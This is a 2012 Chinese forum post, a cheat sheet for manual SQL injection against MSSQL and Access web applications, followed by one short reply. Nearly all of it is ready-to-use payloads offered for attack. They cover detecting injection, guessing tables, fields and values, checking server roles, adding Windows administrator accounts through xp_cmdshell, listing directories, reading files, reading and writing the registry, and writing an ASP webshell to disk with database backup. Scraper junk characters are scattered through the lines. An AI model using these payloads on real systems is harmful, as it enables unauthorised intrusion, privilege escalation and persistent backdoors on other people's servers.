找回密码
 立即注册
查看: 3157|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入   k5 H! T/ O: L6 q
1.判断是否有注入;and 1=1 ;and 1=2
  n) g/ g6 N# |) A3 S( Z9 d5 W, i: a. P( K5 H1 O1 K: ~8 k( H; M
2.初步判断是否是mssql ;and user>0
8 U" W" B, b7 K0 e2 N, v  o% h* _( F: \" ]
3.注入参数是字符'and [查询条件] and ''='
+ M" I$ E( u" N- J- ?. U/ T
, t; O6 ]; ], I- k4 R$ s. `9 L4.搜索时没过滤参数的'and [查询条件] and '%25'='
8 w( f# m6 f& b  a+ K" z! q
% [% t: a' e0 O; x. ^5.判断数据库系统
0 @0 @$ f" x# Y/ G. o;and (select count(*) from sysobjects)>0 mssql
5 I- |% m+ Y# D2 ~' N;and (select count(*) from msysobjects)>0 access
% B6 D: m5 T" g& @7 d. G4 a
$ D$ }6 _% @) K7 }* y: F: P: u5 m6.猜数据库 ;and (select Count(*) from [数据库名])>0 ! _; Y" @, N+ {# X. s1 T5 N2 q

. O6 E; O, U" l/ R+ x7.猜字段 ;and (select Count(字段名) from 数据库名)>0 & }" i7 j# H6 }" e- H
. X6 J3 e* `. F# M9 B7 @  Q
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 " B# J4 z9 r4 z+ _$ J) B. j+ Y. X
8 R. @3 {+ S+ T. z# m8 R( P
9.(1)猜字段的ascii值(access) ; Y: u) e2 I; D7 Z
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
' X/ ^) K) f2 a3 y
5 w% s; ^# r* I# x/ D# ](2)猜字段的ascii值(mssql)
! C5 ?+ F, X; v;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
; L" I8 o, b: s: j- p6 c
8 z* I$ D" G2 i10.测试权限结构(mssql)
7 G7 w) Y: F0 c+ W6 ?6 T# x* d;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
5 ~1 y0 t7 J, B, R' l;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
  T" v" a# W% L- x! `4 |9 V) Q, u;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
  ~% U4 i* T& |& K% t  d8 q; z- O;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
. B% p0 U0 S) R( z;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ; W4 f# m; V, h  a4 q, v
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ; \+ E' R7 B" U# s' @% m& m
;and 1=(select IS_MEMBER('db_owner'));--
( j5 m$ V# E) I
0 q  E5 R, i' M' V11.添加mssql和系统的帐户   _4 F7 B7 {! W$ |0 n  C; q. `9 H
;exec master.dbo.sp_addlogin username;-- 9 a" P  D! ~1 U9 q7 Y- E; Z& }" y

6 ~0 Z8 y# U# R# a0 n;exec master.dbo.sp_password null,username,password;-- * E6 u4 P4 a+ |* Z8 x5 x

9 J- I6 D6 k, _3 [;exec master.dbo.sp_addsrvrolemember sysadmin username;--
9 V) k; p. f. T8 Q' q+ v* e2 }3 C' g: {9 \; y
;exec master.dbo.xp_cmdshell 'net user username password
; L( @2 @) O  D* L( v1 X/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
! ~; y5 |1 p2 J) o7 K8 n" z  L- G9 N! r2 l
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ( [* `' V3 f9 F; G
$ p" Y  k6 H% k. _/ L
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
7 d$ K& z! I- r; R
7 J, o* Z2 ?8 F12.(1)遍历目录 ; r. ^9 c- N$ W+ N
3 n/ c0 ]4 P8 f* K/ B( q
;create table dirs(paths varchar(100), id int)   ~8 E, v# Z! y
;insert dirs exec master.dbo.xp_dirtree 'c:\'
, l" a' z. L" j9 ]+ p: F% o) L6 G2 l;and (select top 1 paths from dirs)>0 3 S% v# c( h" P. ]3 [3 `! l$ U9 H9 G
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
/ Q( ~4 G( D. T1 @5 j7 h, A; R; _2 ]5 {% L
(2)遍历目录
+ g6 e5 l0 m& s9 v;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- - D' ~" W2 P1 o4 d$ q$ U
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 % w2 X% C( `; {' R
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
6 ?! M2 H! q- j/ R: |;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
, m) Q. t. i& _& j;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 7 J4 q2 N: E- V! T5 l! L/ g

: |4 T( X+ B8 Y13.mssql中的存储过程 3 t9 V$ `# X5 y) q7 x! q: c

. ?2 I' g, k# n2 o3 Q4 k) Jxp_regenumvalues 注册表根键, 子键 ; X  S7 d: D# L2 D3 b- `( I
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
: V$ ?5 }) N8 ]: V" p4 Q- b4 n2 t  _: M
xp_regread 根键,子键,键值名
& E% _+ o6 @' F: }- W9 q1 D# \" v1 T;exec xp_regread 0 V) `/ {6 U; q, B
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 0 s( W; {' ~- `0 ?. P& A

% N2 l& G9 D9 G1 |9 E5 B/ z/ xxp_regwrite 根键,子键, 值名, 值类型, 值
* L/ Z/ N' X1 K" _7 p  ~7 a& Y值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ) u4 `' b- @( X, j
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
. h$ a! m/ d& D4 S
5 q( h8 M  \+ l. K) a# k6 g+ ~9 Bxp_regdeletevalue 根键,子键,值名
; t- ]2 F$ G* `. \% Q% ]  Q# {6 n2 e7 O1 U0 U9 K# ?
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
6 r% F" N5 @0 k$ k' n/ t
% c) j9 s' v& M1 d1 P# ixp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 $ ]7 g* h' M- w$ [! r

1 y0 z8 [) r+ I) C! a# R14.mssql的backup创建webshell / Z6 R( o* E. O3 H) ?& V7 r
use model
) G; a9 k, K) V0 _& ~create table cmd(str image);
6 T' J% K; ^" @+ qinsert into cmd(str) values (''); : n, q: O2 r% @/ f
backup database model to disk='c:\l.asp'; 8 f0 B3 e) [, m2 C  ^
9 F3 [' ?; z% Q! n0 h5 W
15.mssql内置函数
" j0 }' m; q9 ~6 i# ]6 H! p. I* Z;and (select @@version)>0 获得Windows的版本号 2 f, B/ s; C+ o( p4 c
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 L! C7 a. q) y; W5 g+ T- P;and (select user_name())>0 爆当前系统的连接用户 $ \& a( ?" Y+ }4 A
;and (select db_name())>0 得到当前连接的数据库
( Z' c5 A0 k/ o2 D
& y$ M. o5 c' d1 u% u$ W. @16.简洁的webshell & C. c8 L1 g. g7 ]/ Z

& I/ H0 \3 L2 }8 {- y" M( Buse model ; W+ C8 D$ @2 Z9 o

; A# {  ?* |8 E* Z. screate table cmd(str image); 3 h* X: l1 [3 _% b- |& G$ @: w' ]
3 z. T4 @! `' ~4 b# m: S4 s
insert into cmd(str) values ('');
) T# K6 }9 }+ |* L6 I6 z+ m, n2 v
+ Q) B7 u) F% w, m! }0 r9 Xbackup database model to disk='g:\wwwtest\l.asp';
3 ]9 p, Y1 r. M" Z
' b$ D& Y- T" j
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表